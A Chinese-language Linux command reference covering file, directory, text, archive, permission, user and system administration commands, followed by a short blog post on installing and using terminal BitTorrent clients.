该命令的各选项含义如下:
 
- a 该选项通常在拷贝目录时使用。它保留链接、文件属性,并递归地拷贝目录,其作用等于dpR选项的组合。
 
- d 拷贝时保留链接。
 
- f 删除已经存在的目标文件而不提示。
 
- i 和f选项相反,在覆盖目标文件之前将给出提示要求用户确认。回答y时目标文件将被覆盖,是交互式拷贝。
 
- p 此时cp除复制源文件的内容外,还将把其修改时间和访问权限也复制到新文件中。
 
- r 若给出的源文件是一目录文件,此时cp将递归复制该目录下所有的子目录和文件。此时目标文件必须为一个目录名。
 
- l 不作拷贝,只是链接文件。
 
   需要说明的是,为防止用户在不经意的情况下用cp命令破坏另一个文件,如用户指定的目标文件名已存在,用cp命令拷贝文件后,这个文件就会被新源文件覆盖,因此,建议用户在使用cp命令拷贝文件时,最好使用i选项。
 
mv命令
 
用户可以使用mv命令来为文件或目录改名或将文件由一个目录移入另一个目录中。该命令如同MSDOS下的ren和move的组合。
 
语法:mv [选项] 源文件或目录 目标文件或目录
 
说明:视mv命令中第二个参数类型的不同(是目标文件还是目标目录),mv命令将文件重命名或将其移至一个新的目录中。当第二个参数类型是文件时,mv命令完成文件重命名,此时,源文件只能有一个(也可以是源目录名),它将所给的源文件或目录重命名为给定的目标文件名。当第二个参数是已存在的目录名称时,源文件或目录参数可以有多个,mv命令将各参数指定的源文件均移至目标目录中。在跨文件系统移动文件时,mv先拷贝,再将原有文件删除,而链至该文件的链接也将丢失。
 
命令中各选项的含义为:
 
- I 交互方式操作。如果mv操作将导致对已存在的目标文件的覆盖,此时系统询问是否重写,要求用户回答y或n,这样可以避免误覆盖文件。
 
- f 禁止交互操作。在mv操作要覆盖某已有的目标文件时不给任何指示,指定此选项后,i选项将不再起作用。
 
如果所给目标文件(不是目录)已存在,此时该文件的内容将被新文件覆盖。为防止用户用mv命令破坏另一个文件,使用mv命令移动文件时,最好使用i选项。
 
 
 
rm命令
 
用户可以用rm命令删除不需要的文件。该命令的功能为删除一个目录中的一个或多个文件或目录,它也可以将某个目录及其下的所有文件及子目录均删除。对于链接文件,只是断开了链接,原文件保持不变。
 
rm命令的一般形式为:
 
rm [选项] 文件…
 
如果没有使用- r选项,则rm不会删除目录。
 
该命令的各选项含义如下:
 
- f 忽略不存在的文件,从不给出提示。
 
- r 指示rm将参数中列出的全部目录和子目录均递归地删除。
 
- i 进行交互式删除。
 
使用rm命令要小心。因为一旦文件被删除,它是不能被恢复的。了防止这种情况的发生,可以使用i选项来逐个确认要删除的文件。如果用户输入y,文件将被删除。如果输入任何其他东西,文件则不会删除。
 
Linux目录的创建与删除命令
mkdir命令
 
功能:创建一个目录(类似MSDOS下的md命令)。
 
语法:mkdir [选项] dir-name
 
说明:该命令创建由dir-name命名的目录。要求创建目录的用户在当前目录中(dir-name的父目录中)具有写权限,并且dirname不能是当前目录中已有的目录或 文件名称。
 
命令中各选项的含义为:
 
- m 对新建目录设置存取权限。也可以用chmod命令设置。
 
- p 可以是一个路径名称。此时若路径中的某些目录尚不存在, 加上此选项后, 系统将自动建立好那些尚不存在的目录,即一次可以建立多个目录。
 
 
 
rmdir 命令
 
功能:删除空目录。
 
语法:rmdir [选项] dir-name
 
说明:dir-name表示目录名。该命令从一个目录中删除一个或多个子目录项。需要 特别注意的是,一个目录被删除之前必须是空的。rm - r dir命令可代替 rmdir,但是有危险性。删除某目录时也必须具有对父目录的写权限。
 
命令中各选项的含义为:
 
- p 递归删除目录dirname,当子目录删除后其父目录为空时,也一同被删除。如果整个路径被删除或者由于某种原因保留部分路径,则系统在标准输出上显示相应 的信息。
 
 
 
cd 命令
 
功能:改变工作目录。
 
语法:cd [directory]
 
说明:该命令将当前目录改变至directory所指定的目录。若没有指定directory, 则回到用户的主目录。为了改变到指定目录,用户必须拥有对指定目录的执行和读 权限。
 
该命令可以使用通配符(通配符含义请参见第十章)。
 

pwd 命令
 
在Linux层次目录结构中,用户可以在被授权的任意目录下利用mkdir命令创建新目录,也可以利用cd命令从一个目录转换到另一个目录。然而,没有提示符来告知用 户目前处于哪一个目录中。要想知道当前所处的目录,可以使用pwd命令,该命令显示整个路径名。
 
语法:pwd
 
说明:此命令显示出当前工作目录的绝对路径。
 
 
 
ls 命令
 
ls是英文单词list的简写,其功能为列出目录的内容。这是用户最常用的一个命令之一,因为用户需要不时地查看某个目录的内容。该命令类似于DOS下的dir命令。
 
语法:ls [选项] [目录或是文件]
 
对于每个目录,该命令将列出其中的所有子目录与文件。对于每个文件,ls将输出 其文件名以及所要求的其他信息。默认情况下,输出条目按字母顺序排序。当未给出目录名或是文件名时,就显示当前目录的信息。
 
命令中各选项的含义如下:
 
- a 显示指定目录下所有子目录与文件,包括隐藏文件。
 
- A 显示指定目录下所有子目录与文件,包括隐藏文件。但不列出“.”和 “..”。
 
- b 对文件名中的不可显示字符用八进制逃逸字符显示。
 
- c 按文件的修改时间排序。
 
- C 分成多列显示各项。
 
- d 如果参数是目录,只显示其名称而不显示其下的各文件。往往与l选项一起使 用,以得到目录的详细信息。
 
- f 不排序。该选项将使lts选项失效,并使aU选项有效。
 
- F 在目录名后面标记“/”,可执行文件后面标记“*”,符号链接后面标记 “@”,管道(或FIFO)后面标记“|”,socket文件后面标记“=”。
 
- i 在输出的第一列显示文件的i节点号。
 
- l 以长格式来显示文件的详细信息。这个选项最常用。
 
每行列出的信息依次是: 文件类型与权限 链接数 文件属主 文件属组 文件大小 建立或最近修改的时间 名字
 
对于符号链接文件,显示的文件名之后有“—〉”和引用文件路径名。
 
对于设备文件,其“文件大小”字段显示主、次设备号,而不是文件大小。
 
目录中的总块数显示在长格式列表的开头,其中包含间接块。
 
- L 若指定的名称为一个符号链接文件,则显示链接所指向的文件。
 
- m 输出按字符流格式,文件跨页显示,以逗号分开。
 
- n 输出格式与l选项相同,只不过在输出中文件属主和属组是用相应的UID号和 GID号来表示,而不是实际的名称。
 
- o 与l选项相同,只是不显示拥有者信息。
 
- p 在目录后面加一个“/”。
 
- q 将文件名中的不可显示字符用“?”代替。
 
- r 按字母逆序或最早优先的顺序显示输出结果。
 
- R 递归式地显示指定目录的各个子目录中的文件。
 
- s 给出每个目录项所用的块数,包括间接块。
 
- t 显示时按修改时间(最近优先)而不是按名字排序。若文件修改时间相同,则 按字典顺序。修改时间取决于是否使用了c或u选顶。缺省的时间标记是最后一次修 改时间。
 
- u 显示时按文件上次存取的时间(最近优先)而不是按名字排序。即将-t的时间 标记修改为最后一次访问的时间。
 
- x 按行显示出各排序项的信息。
 
用ls - l命令显示的信息中,开头是由10个字符构成的字符串,其中第一个字符表示文件类型,它可以是下述类型之一:
 
- 普通文件
 
d 目录
 
l 符号链接
 
b 块设备文件
 
c 字符设备文件
 
后面的9个字符表示文件的访问权限,分为3组,每组3位。
 
第一组表示文件属主的权限,第二组表示同组用户的权限,第三组表示其他用户的权限。每一组的三个字 符分别表示对文件的读、写和执行权限。
 
各权限如下所示:
 
r 读
 
w 写
 
x 执行。对于目录,表示进入权限。
 
s 当文件被执行时,把该文件的UID或GID赋予执行进程的UID(用户ID)或GID(组 ID)。
 
t 设置标志位(留在内存,不被换出)。如果该文件是目录,在该目录中的文件只能被超级用户、目录拥有者或文件属主删除。如果它是可执行文件,在该文件执行 后,指向其正文段的指针仍留在内存。这样再次执行它时,系统就能更快地装入该文件。
 
Linux文本处理命令
sort命令
 
sort命令的功能是对文件中的各行进行排序。sort命令有许多非常实用的选项,这些选项最初是用来对数据库格式的文件内容进行各种排序操作的。实际上,sort命令可以被认为是一个非常强大的数据管理工具,用来管理内容类似数据库记录的文件。
 
Sort命令将逐行对文件中的内容进行排序,如果两行的首字符相同,该命令将继续比较这两行的下一字符,如果还相同,将继续进行比较。
 
语法:
 
sort [选项] 文件
 
说明:sort命令对指定文件中所有的行进行排序,并将结果显示在标准输出上。如不指定输入文件或使用“- ”,则表示排序内容来自标准输入。
 
sort排序是根据从输入行抽取的一个或多个关键字进行比较来完成的。排序关键字定义了用来排序的最小的字符序列。缺省情况下以整行为关键字按ASCII字符顺序进行排序。
 
改变缺省设置的选项主要有:
 
- m 若给定文件已排好序,合并文件。
 
- c 检查给定文件是否已排好序,如果它们没有都排好序,则打印一个出错信息,并以状态值1退出。
 
- u 对排序后认为相同的行只留其中一行。
 
- o 输出文件 将排序输出写到输出文件中而不是标准输出,如果输出文件是输入文件之一,sort先将该文件的内容写入一个临时文件,然后再排序和写输出结果。
 
改变缺省排序规则的选项主要有:
 
- d 按字典顺序排序,比较时仅字母、数字、空格和制表符有意义。
 
- f 将小写字母与大写字母同等对待。
 
- I 忽略非打印字符。
 
- M 作为月份比较:“JAN”<“FEB”
 
- r 按逆序输出排序结果。
 
+posl - pos2 指定一个或几个字段作为排序关键字,字段位置从posl开始,到pos2为止(包括posl,不包括pos2)。如不指定pos2,则关键字为从posl到行尾。字段和字符的位置从0开始。
 
- b 在每行中寻找排序关键字时忽略前导的空白(空格和制表符)。
 
- t separator 指定字符separator作为字段分隔符。
 
 
 
uniq命令
 
文件经过处理后在它的输出文件中可能会出现重复的行。例如,使用cat命令将两个文件合并后,再使用sort命令进行排序,就可能出现重复行。这时可以使用uniq命令将这些重复行从输出文件中删除,只留下每条记录的唯一样本。
 
语法:
 
uniq [选项] 文件
 
说明:这个命令读取输入文件,并比较相邻的行。在正常情况下,第二个及以后更多个重复行将被删去,行比较是根据所用字符集的排序序列进行的。该命令加工后的结果写到输出文件中。输入文件和输出文件必须不同。如果输入文件用“- ”表示,则从标准输入读取。
 
该命令各选项含义如下:
 
- c 显示输出中,在每行行首加上本行在文件中出现的次数。它可取代- u和- d选项。
 
- d 只显示重复行。
 
- u 只显示文件中不重复的各行。
 
- n 前n个字段与每个字段前的空白一起被忽略。一个字段是一个非空格、非制表符的字符串,彼此由制表符和空格隔开(字段从0开始编号)。
 
+n 前n个字符被忽略,之前的字符被跳过(字符从0开始编号)。
 
- f n 与- n相同,这里n是字段数。
 
- s n 与+n相同,这里n是字符数。
 
Linux备份与压缩命令
 

tar命令
 
tar可以为文件和目录创建档案。利用tar,用户可以为某一特定文件创建档案(备份文件),也可以在档案中改变文件,或者向档案中加入新的文件。tar最初被用来在磁带上创建档案,现在,用户可以在任何设备上创建档案,如软盘。利用tar命令,可以把一大堆的文件和目录全部打包成一个文件,这对于备份文件或将几个文件组合成为一个文件以便于网络传输是非常有用的。Linux上的tar是GNU版本的。
 
语法:tar [主选项+辅选项] 文件或者目录
 
使用该命令时,主选项是必须要有的,它告诉tar要做什么事情,辅选项是辅助使用的,可以选用。
 
主选项:
 
c 创建新的档案文件。如果用户想备份一个目录或是一些文件,就要选择这个选项。
 
r 把要存档的文件追加到档案文件的未尾。例如用户已经作好备份文件,又发现还有一个目录或是一些文件忘记备份了,这时可以使用该选项,将忘记的目录或文件追加到备份文件中。
 
t 列出档案文件的内容,查看已经备份了哪些文件。
 
u 更新文件。就是说,用新增的文件取代原备份文件,如果在备份文件中找不到要更新的文件,则把它追加到备份文件的最后。
 
x 从档案文件中释放文件。
 
辅助选项:
 
b 该选项是为磁带机设定的。其后跟一数字,用来说明区块的大小,系统预设值为20(20*512 bytes)。
 
f 使用档案文件或设备,这个选项通常是必选的。
 
k 保存已经存在的文件。例如我们把某个文件还原,在还原的过程中,遇到相同的文件,不会进行覆盖。
 
m 在还原文件时,把所有文件的修改时间设定为现在。
 
M 创建多卷的档案文件,以便在几个磁盘中存放。
 
v 详细报告tar处理的文件信息。如无此选项,tar不报告文件信息。
 
w 每一步都要求确认。
 
z 用gzip来压缩/解压缩文件,加上该选项后可以将档案文件进行压缩,但还原时也一定要使用该选项进行解压缩。
 
 
 
gzip命令
 
减少文件大小有两个明显的好处,一是可以减少存储空间,二是通过网络传输文件时,可以减少传输的时间。gzip是在Linux系统中经常使用的一个对文件进行压缩和解压缩的命令,既方便又好用。
 
语法:gzip [选项] 压缩(解压缩)的文件名
 
各选项的含义:
 
-c 将输出写到标准输出上,并保留原有文件。
 
-d 将压缩文件解压。
 
-l 对每个压缩文件,显示下列字段:
 
压缩文件的大小
 
未压缩文件的大小
 
压缩比
 
未压缩文件的名字
 
-r 递归式地查找指定目录并压缩其中的所有文件或者是解压缩。
 
-t 测试,检查压缩文件是否完整。
 
-v 对每一个压缩和解压的文件,显示文件名和压缩比。
 
-num 用指定的数字num调整压缩的速度,-1或--fast表示最快压缩方法(低压缩比),-9或--best表示最慢压缩方法(高压缩比)。系统缺省值为6。
 
 
 
unzip命令
 
用MS Windows下的压缩软件winzip压缩的文件如何在Linux系统下展开呢?可以用unzip命令,该命令用于解扩展名为.zip的压缩文件。
 
语法:unzip [选项] 压缩文件名.zip
 
各选项的含义分别为:
 
-x 文件列表 解压缩文件,但不包括指定的file文件。
 
-v 查看压缩文件目录,但不解压。
 
-t 测试文件有无损坏,但不解压。
 
-d 目录 把压缩文件解到指定目录下。
 
-z 只显示压缩文件的注解。
 
-n 不覆盖已经存在的文件。
 
-o 覆盖已存在的文件且不要求用户确认。
 
-j 不重建文档的目录结构,把所有文件解压到同一目录下。
 
在Linux环境下运行DOS命令   
 

Linux系统提供了一组称为mtools的可移植工具,可以让用户轻松地从标准的DOS软盘上读、写文件和目录。它们对DOS和Linux环境之间交换文件非常有用。它们是不具备共同的文件系统格式的系统之间交换文件的有力手段。对于一个MSDOS的软盘,只要把软盘放在软驱中,就可以利用mtools提供的命令来访问软盘上的文件。
 
mtools的主要命令如下:
 
mcd 目录名 改变MSDOS目录;
 
mcopy 源文件 目标文件 在MSDOS和Unix之间复制文件;
 
mdel 文件名 删除MSDOS文件;
 
mdir 目录名 显示MSDOS目录;
 
mformat 驱动器号 在低级格式化的软盘上创建MSDOS文件系统;
 
rnlabel 驱动器号 产生MSDOS卷标;
 
mmd 目录名 建立MSDOS目录;
 
mrd 目录名 删除MSDOS目录;
 
mren 源文件 目标文件 重新命名已存在的MSDOS文件;
 
mtype 文件名 显示MSDOS文件的内容。
 
提示:这些命令和对应的MSDOS命令非常相似。
 
Linux改变文件或目录的访问权限命令
   Linux系统中的每个文件和目录都有访问许可权限,用它来确定谁可以通过何种方式对文件和目录进行访问和操作。
 
   文件或目录的访问权限分为只读,只写和可执行三种。以文件为例,只读权限表示只允许读其内容,而禁止对其做任何的更改操作。可执行权限表示允许将该文件作为一个程序执行。文件被创建时,文件所有者自动拥有对该文件的读、写和可执行权限,以便于对文件的阅读和修改。用户也可根据需要把访问权限设置为需要的任何组合。
 
   有三种不同类型的用户可对文件或目录进行访问:文件所有者,同组用户、其他用户。所有者一般是文件的创建者。所有者可以允许同组用户有权访问文件,还可以将文件的访问权限赋予系统中的其他用户。在这种情况下,系统中每一位用户都能访问该用户拥有的文件或目录。
 
   每一文件或目录的访问权限都有三组,每组用三位表示,分别为文件属主的读、写和执行权限;与属主同组的用户的读、写和执行权限;系统中其他用户的读、写和执行权限。当用ls -l命令显示文件或目录的详细信息时,最左边的一列为文件的访问权限。例如:
 
   $ ls -l sobsrc. tgz
 
   -rw-r--r-- 1 root root 483997 Ju1 l5 17:3l sobsrc. tgz
 
   横线代表空许可。r代表只读,w代表写,x代表可执行。注意这里共有10个位置。第一个字符指定了文件类型。在通常意义上,一个目录也是一个文件。如果第一个字符是横线,表示是一个非目录的文件。如果是d,表示是一个目录。
 
   例如:
 
   - rw- r-- r--
 
   普通文件 文件主 组用户 其他用户
 
   是文件sobsrc.tgz 的访问权限,表示sobsrc.tgz是一个普通文件;sobsrc.tgz的属主有读写权限;与sobsrc.tgz属主同组的用户只有读权限;其他用户也只有读权限。
 
   确定了一个文件的访问权限后,用户可以利用Linux系统提供的chmod命令来重新设定不同的访问权限。也可以利用chown命令来更改某个文件或目录的所有者。利用chgrp命令来更改某个文件或目录的用户组。
 
   下面分别对这些命令加以介绍。
 
   chmod 命令
 
   chmod命令是非常重要的,用于改变文件或目录的访问权限。用户用它控制文件或目录的访问权限。
 
   该命令有两种用法。一种是包含字母和操作符表达式的文字设定法;另一种是包含数字的数字设定法。
 
   1. 文字设定法
 
   chmod [who] [+ | - | =] [mode] 文件名?
 
   命令中各选项的含义为:
 
   操作对象who可是下述字母中的任一个或者它们的组合:
 
   u 表示“用户(user)”,即文件或目录的所有者。
 
   g 表示“同组(group)用户”,即与文件属主有相同组ID的所有用户。
 
   o 表示“其他(others)用户”。
 
   a 表示“所有(all)用户”。它是系统默认值。
 
   操作符号可以是:
 
   + 添加某个权限。
 
   - 取消某个权限。
 
   = 赋予给定权限并取消其他所有权限(如果有的话)。
 
   设置mode所表示的权限可用下述字母的任意组合:
 
   r 可读。
 
   w 可写。
 
   x 可执行。
 
   X 只有目标文件对某些用户是可执行的或该目标文件是目录时才追加x 属性。
 
   s 在文件执行时把进程的属主或组ID置为该文件的文件属主。方式“u+s”设置文件的用户ID位,“g+s”设置组ID位。
 
   t 保存程序的文本到交换设备上。
 
  u 与文件属主拥有一样的权限。
 
   g 与和文件属主同组的用户拥有一样的权限。
 
   o 与其他用户拥有一样的权限。
 
   文件名:以空格分开的要改变权限的文件列表,支持通配符。
 
   在一个命令行中可给出多个权限方式,其间用逗号隔开。例如:chmod g+r,o+r example
 
   使同组和其他用户对文件example 有读权限。
 
   2. 数字设定法
 
   我们必须首先了解用数字表示的属性的含义:0表示没有权限,1表示可执行权限,2表示可写权限,4表示可读权限,然后将其相加。所以数字属性的格式应为3个从0到7的八进制数,其顺序是(u)(g)(o)。
 
   例如,如果想让某个文件的属主有“读/写”二种权限,需要把4(可读)+2(可写)=6(读/写)。
 
   数字设定法的一般形式为:
 
   chmod [mode] 文件名?
 
 
 
   chgrp命令
 
  功能:改变文件或目录所属的组。
 
   语法:chgrp [选项] group filename?
 
   该命令改变指定指定文件所属的用户组。其中group可以是用户组ID,也可以是/etc/group文件中用户组的组名。文件名是以空格分开的要改变属组的文件列表,支持通配符。如果用户不是该文件的属主或超级用户,则不能改变该文件的组。
 
   该命令的各选项含义为:
 
   - R 递归式地改变指定目录及其下的所有子目录和文件的属组。
 
   chown 命令
 
   功能:更改某个文件或目录的属主和属组。这个命令也很常用。例如root用户把自己的一个文件拷贝给用户xu,为了让用户xu能够存取这个文件,root用户应该把这个文件的属主设为xu,否则,用户xu无法存取这个文件。
 
   语法:chown [选项] 用户或组 文件
 
   说明:chown将指定文件的拥有者改为指定的用户或组。用户可以是用户名或用户ID。组可以是组名或组ID。文件是以空格分开的要改变权限的文件列表,支持通配符。
 
  该命令的各选项含义如下:
 
   - R 递归式地改变指定目录及其下的所有子目录和文件的拥有者。
 
   - v 显示chown命令所做的工作。
 
Linux与用户有关的命令
 

passwd命令
 
出于系统安全考虑,Linux系统中的每一个用户除了有其用户名外,还有其对应的用户口令。因此使用useradd命令增加时,还需使用passwd命令为每一位新增加的用户设置口令;用户以后还可以随时用passwd命令改变自己的口令。
 
该命令的一般格式为: passwd [用户名] 其中用户名为需要修改口令的用户名。只有超级用户可以使用“passwd 用户名”修改其他用户的口令,普通用户只能用不带参数的passwd命令修改自己的口令。
 
该命令的使用方法如下:
 
输入
 
passwd< Enter>;
 
在(current) UNIX passwd:下输入当前的口令
 
在new password:提示下输入新的口令(在屏幕上看不到这个口令):
 
系统提示再次输入这个新口令。
 
输入正确后,这个新口令被加密并放入/etc/shdow文件。选取一个不易被破译的口令是很重要的。
 
选取口令应遵守如下规则:
 
口令应该至少有六位(最好是八位)字符;
 
口令应该是大小写字母、标点符号和数字混杂的。
 
超级用户修改其他用户(xxq)的口令的过程如下,
 
# passwd root
 
New UNIX password:
 
Retype new UNIX password:
 
passwd: all authentication tokens updated successfully
 
#
 
 
 
su命令
 
这个命令非常重要。它可以让一个普通用户拥有超级用户或其他用户的权限,也可以让超级用户以普通用户的身份做一些事情。普通用户使用这个命令时必须有超级用户或其他用户的口令。如要离开当前用户的身份,可以打exit。
 
该命令的一般形式为: su [选项] [? ] [使用者帐号]
 
说明:若没有指定使用者帐号,则系统预设值为超级用户root。 该命令中各选项的含义分别为:
 
? c 执行一个命令后就结束。
 
? 加了这个减号的目的是使环境变量和欲转换的用户相同。
 
? m 保留环境变量不变。
 
password: 【输入超级用户的密码】  
 
Linux系统管理命令
 

wall命令
 
这个命令的功能是对全部已登录的用户发送信息,用户可以先把要发送的信息写好存入一个文件中,然后输入:
 
# wall < 文件名
 
这样就能对所有的用户发送信息了。
 
在上面的例子中符号“<”表示输入重定向,有关它的含义和用法请参阅第十章的有关内容。 例如:
 
# wall ‘Thank you!'
 
Broadcast message from root (tty1) Fri Nov 26 14:15:07 1999…
 
Thank you!
 
#
 
执行以上命令后,用户的屏幕上显示出“Thank you!”信息后,并不出现系统提示符$(#),再次按回车键后,屏幕出现系统提示符。
 
 
 
write命令
 
write命令的功能是向系统中某一个用户发送信息。 该命令的一般格式为:
 
write 用户帐号 [终端名称]
 
例如: $ write Guest hello
 
此时系统进入发送信息状态,用户可以输入要发送的信息,输入完毕,希望退出发送状态时,按组合键< Ctrl+c>即可。
 
 
 
mesg指令
 
mesg命令设定是否允许其他用户用write命令给自己发送信息。如果允许别人给自己发送信息,输入命令:
 
# mesg y
 
否则,输入:
 
# mesg n
 
对于超级用户,系统的默认值为 n;而对于一般用户系统的默认值为y。 如果mesg后不带任何参数,则显示当前的状态是y还是n.。
 
 
 
sync命令
 
   sync命令是在关闭Linux系统时使用的。 用户需要注意的是,不能用简单的关闭电源的方法关闭系统,因为Linux象其他Unix系统一样,在内存中缓存了许多数据,在关闭系统时需要进行内存数据与硬盘数据的同步校验,保证硬盘数据在关闭系统时是最新的,只有这样才能确保数据不会丢失。一般正常的关闭系统的过程是自动进行这些工作的,在系统运行过程中也会定时做这些工作,不需要用户干预。 sync命令是强制把内存中的数据写回硬盘,以免数据的丢失。用户可以在需要的时候使用此命令。该命令的一般格式为:
 
   sync
 
 
 
shutdown命令
 
shutdown 命令可以安全地关闭或重启Linux系统,它在系统关闭之前给系统上的所有登录用户提示一条警告信息。该命令还允许用户指定一个时间参数,可以是一个精确的时间,也可以是从现在开始的一个时间段。精确时间的格式是hh:mm,表示小时和分钟;时间段由“+”和分钟数表示。系统执行该命令后,会自动进行数据同步的工作。
 
该命令的一般格式为: shutdown [选项] [时间] [警告信息] 命令中各选项的含义为:
 
- k 并不真正关机,而只是发出警告信息给所有用户。
 
- r 关机后立即重新启动。
 
- h 关机后不重新启动。
 
- f 快速关机,重启动时跳过fsck。
 
- n 快速关机,不经过init程序。
 
- c 取消一个已经运行的shutdown。
 
需要特别说明的是,该命令只能由超级用户使用。
 
 
 
free命令
 
free命令的功能是查看当前系统内存的使用情况,它显示系统中剩余及已用的物理内存和交换内存,以及共享内存和被核心使用的缓冲区。
 
该命令的一般格式为: free [-b | -k | -m] 命令中各选项的含义如下:
 
-b 以字节为单位显示。
 
-k 以K字节为单位显示。
 
-m 以兆字节为单位显示。
 
 
 
uptime命令
 
uptime命令显示系统已经运行了多长时间,它依次显示下列信息:现在时间、系统已经运行了多长时间、目前有多少登录用户、系统在过去的1分钟、5分钟和15分钟内的平均负载。
 
该命令的一般格式为: uptime
 
Linux磁盘管理
 

df命令
 
功能:检查文件系统的磁盘空间占用情况。可以利用该命令来获取硬盘被占用了多少空间,目前还剩下多少空间等信息。
 
语法:df [选项]
 
说明:df命令可显示所有文件系统对i节点和磁盘块的使用情况。
 
该命令各个选项的含义如下:
 
-a 显示所有文件系统的磁盘使用情况,包括0块(block)的文件系统,如/proc文件系统。
 
-k 以k字节为单位显示。
 
-i 显示i节点信息,而不是磁盘块。
 
-t 显示各指定类型的文件系统的磁盘空间使用情况。
 
-x 列出不是某一指定类型文件系统的磁盘空间使用情况(与t选项相反)。
 
-T 显示文件系统类型。
 
 
 
du命令
 
du的英文原义为“disk usage”,含义为显示磁盘空间的使用情况。
 
功能:统计目录(或文件)所占磁盘空间的大小。
 
语法:du [选项] [Names…]
 
说明:该命令逐级进入指定目录的每一个子目录并显示该目录占用文件系统数据块(1024字节)的情况。若没有给出Names,则对当前目录进行统计。
 
该命令的各个选项含义如下:
 
-s 对每个Names参数只给出占用的数据块总数。
 
-a 递归地显示指定目录中各文件及子孙目录中各文件占用的数据块数。若既不指定-s,也不指定-a,则只显示Names中的每一个目录及其中的各子目录所占的磁盘块数。
 
-b 以字节为单位列出磁盘空间使用情况(系统缺省以k字节为单位)。
 
-k 以1024字节为单位列出磁盘空间使用情况。
 
-c 最后再加上一个总计(系统缺省设置)。
 
-l 计算所有的文件大小,对硬链接文件,则计算多次。
 
-x 跳过在不同文件系统上的目录不予统计。
 
 
 
dd命令
 
功能:把指定的输入文件拷贝到指定的输出文件中,并且在拷贝过程中可以进行格式转换。可以用该命令实现DOS下的diskcopy命令的作用。先用dd命令把软盘上的数据写成硬盘的一个寄存文件,再把这个寄存文件写入第二张软盘上,完成diskcopy的功能。需要注意的是,应该将硬盘上的寄存文件用rm命令删除掉。系统默认使用标准输入文件和标准输出文件。
 
语法:dd [选项]
 
if =输入文件(或设备名称)。
 
of =输出文件(或设备名称)。
 
ibs = bytes 一次读取bytes字节,即读入缓冲区的字节数。
 
skip = blocks 跳过读入缓冲区开头的ibs*blocks块。
 
obs = bytes 一次写入bytes字节,即写入缓冲区的字节数。
 
bs = bytes 同时设置读/写缓冲区的字节数(等于设置ibs和obs)。
 
cbs = byte 一次转换bytes字节。
 
count=blocks 只拷贝输入的blocks块。
 
conv = ASCII 把EBCDIC码转换为ASCIl码。
 
conv = ebcdic 把ASCIl码转换为EBCDIC码。
 
conv = ibm 把ASCIl码转换为alternate EBCDIC码。
 
conv = block 把变动位转换成固定字符。
 
conv = ublock 把固定位转换成变动位。
 
conv = ucase 把字母由小写转换为大写。
 
conv = lcase 把字母由大写转换为小写。
 
conv = notrunc 不截短输出文件。
 
conv = swab 交换每一对输入字节。
 
conv = noerror 出错时不停止处理。
 
conv = sync 把每个输入记录的大小都调到ibs的大小(用NUL填充)。
 
 
 
fdformat 命令
 
软盘是用户常用的存储介质之一。软盘在使用之前必须先作格式化操作,然后可以用tar、dd、cpio等命令存储数据,也可以在软盘上建立可安装的文件系统。
 
功能:低级格式化软盘
 
语法:format [-n] device
 
说明:该命令的作用是对软盘进行格式化。
 
-n 软盘格式化后不作检验。
 
device 指定要进行格式化的设备,通常是下述设备之一:
 
/dev/fd0d360
 
/dev/fd0h1200
 
/dev/fd0D360
 
/dev/fd0H360
 
/dev/fd0D720
 
/dev/fd0H720
 
/dev/fd0h360
 
/dev/fd0h720
 
/dev/fd0H1440
 
Linux其它命令
 

echo命令
 
echo命令的功能是在显示器上显示一段文字,一般起到一个提示的作用。
 
该命令的一般格式为: echo [ -n ] 字符串
 
其中选项n表示输出文字后不换行;字符串可以加引号,也可以不加引号。用echo命令输出加引号的字符串时,将字符串原样输出;用echo命令输出不加引号的字符串时,将字符串中的各个单词作为字符串输出,各字符串之间用一个空格分割。
 
 
 
cal命令
 
cal命令的功能是显示某年某月的日历。
 
该命令的一般格式为: cal [选项] [月 [年]] 命令中各选项的含义为:
 
- j 显示出给定月中的每一天是一年中的第几天(从1月1日算起)。
 
- y 显示出整年的日历。
 
 
 
date命令
 
date命令的功能是显示和设置系统日期和时间。
 
该命令的一般格式为: date [选项] 显示时间格式(以+开头,后面接格式)
 
date 设置时间格式
 
命令中各选项的含义分别为:
 
-d datestr, --date datestr 显示由datestr描述的日期
 
-s datestr, --set datestr 设置datestr 描述的日期
 
-u, --universal 显示或设置通用时间
 
时间域
 
% H 小时(00..23)
 
% I 小时(01..12)
 
% k 小时(0..23)
 
% l 小时(1..12)
 
% M 分(00..59)
 
% p 显示出AM或PM
 
% r 时间(hh:mm:ss AM或PM),12小时
 
% s 从1970年1月1日00:00:00到目前经历的秒数
 
% S 秒(00..59)
 
% T 时间(24小时制)(hh:mm:ss)
 
% X 显示时间的格式(%H:%M:%S)
 
% Z 时区 日期域
 
% a 星期几的简称( Sun..Sat)
 
% A 星期几的全称( Sunday..Saturday)
 
% b 月的简称(Jan..Dec)
 
% B 月的全称(January..December)
 
% c 日期和时间( Mon Nov 8 14:12:46 CST 1999)
 
% d 一个月的第几天(01..31)
 
% D 日期(mm/dd/yy)
 
% h 和%b选项相同
 
% j 一年的第几天(001..366)
 
% m 月(01..12)
 
% w 一个星期的第几天(0代表星期天)
 
% W 一年的第几个星期(00..53,星期一为第一天)
 
% x 显示日期的格式(mm/dd/yy)
 
% y 年的最后两个数字( 1999则是99)
 
% Y 年(例如:1970,1996等)
 
注意:只有超级用户才有权限使用date命令设置时间,一般用户只能使用date命令显示时间。
 
 
 
clear命令
 
clear命令的功能是清除屏幕上的信息,它类似于DOS中的 cls命令。清屏后,提示符移动到屏幕左上角。

在终端状态下使用bt....

| | Comments (0) | TrackBacks (0)
linux下没有bt怎么行,我们还要下载电影啊!
 
上网看了看,有个教程说ctorrent可以在终端下运行,看看
将下载回来的ctorrent-1.3.2.tar.gz文件解压缩。
tar zxvf ctorrent-1.3.2.tar.gz
进入ctorrent-1.3.2目录
cd ctorrent-1.3.2
配置和编译软件
./configure
错误,要求先安装openssl。
安装apt-get install openssl libssl-dev。
重新编译就可以了
在上网看看,网上对这个东西的评价是,n长时间没有开发了,并且n长时间连接不上种子。这种就不用了。马上rm -rf掉
 
只能用官方的了,嘿嘿
 
安装
apt-get install bittorrent

说明一下,
btdownloadheadless这是纯字符界面的BT下载客户端。
btdownloadcurses支持ncurses库的客户端,有在字节界面的窗口效果。
btdownloadgui安了WXpython后就可用的GUI客户端.
btmakemetafile如果你要做种,用这个。
 

下载开始:
直接使用
btdownloadheadless 1.torrent
等啊等,下载终于开始了。。
 

不过推荐用
btdownloadcurses 1.torrent
因为多少有了点图形化。。。看起来直观点。不过似乎不稳定。
 
另外btdownload*的常用参数:
 
--max_uploads
允许最大上传者的数目(缺省是7)
 
--minport
最小可用的端口,如果你的ISP禁用BT的话,改它(比如10000)
--maxport
